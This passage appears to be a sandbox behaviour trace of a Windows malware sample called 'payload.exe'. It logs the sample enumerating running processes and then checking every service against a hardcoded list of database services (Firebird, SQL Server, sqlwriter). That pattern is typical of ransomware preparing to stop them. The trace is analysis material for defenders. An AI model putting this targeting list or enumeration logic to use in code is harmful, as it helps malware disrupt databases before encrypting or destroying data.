lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0158.479] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0158.480] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0158.480] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0158.480] lstrlenW (lpString="Memory Compression") returned 18 [0158.480] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0158.481] lstrlenW (lpString="sihost.exe") returned 10 [0158.481] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.482] lstrlenW (lpString="svchost.exe") returned 11 [0158.482] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.482] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.482] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0158.483] lstrlenW (lpString="msoia.exe") returned 9 [0158.483] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.483] lstrlenW (lpString="explorer.exe") returned 12 [0158.483] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0158.484] lstrlenW (lpString="SearchUI.exe") returned 12 [0158.484] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0158.485] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0158.485] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0158.485] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0158.485] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.486] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.486] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0158.486] lstrlenW (lpString="payload.exe") returned 11 [0158.487] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0158.487] lstrlenW (lpString="cmd.exe") returned 7 [0158.487] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.488] lstrlenW (lpString="conhost.exe") returned 11 [0158.488] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0158.488] lstrlenW (lpString="mode.com") returned 8 [0158.488] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0158.489] CloseHandle (hObject=0x348) returned 1 [0158.490] Sleep (dwMilliseconds=0x1f4) [0158.996] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69db28 [0158.996] EnumServicesStatusExW (in: hSCManager=0x69db28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0158.996] GetLastError () returned 0xea [0158.996] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x427ddc8 [0158.996] EnumServicesStatusExW (in: hSCManager=0x69db28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x427ddc8, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x427ddc8, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0158.997] CloseServiceHandle (hSCObject=0x69db28) returned 1 [0158.997] lstrlenW (lpString="Appinfo") returned 7 [0158.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.997] lstrlenW (lpString="AppXSvc") returned 7 [0158.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0158.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0158.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0158.998] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.998] lstrlenW (lpString="Audiosrv") returned 8 [0158.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0158.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0158.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0158.998] lstrlenW (lpString="BFE") returned 3 [0158.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.998] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0158.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0158.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0158.998] lstrlenW (lpString="CDPSvc") returned 6 [0158.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0158.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0158.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0158.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0158.999] lstrlenW (lpString="ClickToRunSvc") returned 13 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0158.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0158.999] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0158.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0158.999] lstrlenW (lpString="CryptSvc") returned 8 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.999] lstrlenW (lpString="DcomLaunch") returned 10 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.999] lstrlenW (lpString="DeviceAssociationService") returned 24 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0158.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0158.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0158.999] lstrlenW (lpString="Dhcp") returned 4 [0158.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.000] lstrlenW (lpString="Dnscache") returned 8 [0159.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.000] lstrlenW (lpString="DPS") returned 3 [0159.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.000] lstrlenW (lpString="DusmSvc") returned 7 [0159.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.000] lstrlenW (lpString="EventLog") returned 8 [0159.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.116] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.116] lstrlenW (lpString="EventSystem") returned 11 [0159.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.116] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.116] lstrlenW (lpString="FontCache") returned 9 [0159.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0159.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0159.116] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0159.116] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0159.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0159.116] lstrlenW (lpString="gpsvc") returned 5 [0159.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.116] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.116] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.117] lstrlenW (lpString="iphlpsvc") returned 8 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.117] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.117] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.117] lstrlenW (lpString="KeyIso") returned 6 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.117] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.117] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0159.117] lstrlenW (lpString="LanmanServer") returned 12 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.117] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.117] lstrlenW (lpString="lfsvc") returned 5 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0159.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0159.117] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0159.117] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0159.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0159.117] lstrlenW (lpString="lmhosts") returned 7 [0159.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.118] lstrlenW (lpString="LSM") returned 3 [0159.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0159.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0159.118] lstrlenW (lpString="MpsSvc") returned 6 [0159.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.118] lstrlenW (lpString="NcbService") returned 10 [0159.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0159.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0159.118] lstrlenW (lpString="netprofm") returned 8 [0159.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.118] lstrlenW (lpString="NgcSvc") returned 6 [0159.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0159.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0159.118] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0159.118] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0159.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0159.119] lstrlenW (lpString="NlaSvc") returned 6 [0159.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.119] lstrlenW (lpString="nsi") returned 3 [0159.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.119] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.119] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.119] lstrlenW (lpString="PcaSvc") returned 6 [0159.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.447] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.447] lstrlenW (lpString="PlugPlay") returned 8 [0159.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.447] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.447] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.447] lstrlenW (lpString="Power") returned 5 [0159.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.448] lstrlenW (lpString="ProfSvc") returned 7 [0159.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.448] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.448] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.448] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.448] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.448] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.448] lstrlenW (lpString="RpcSs") returned 5 [0159.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.448] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.448] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.448] lstrlenW (lpString="SamSs") returned 5 [0159.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.449] lstrlenW (lpString="Schedule") returned 8 [0159.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.449] 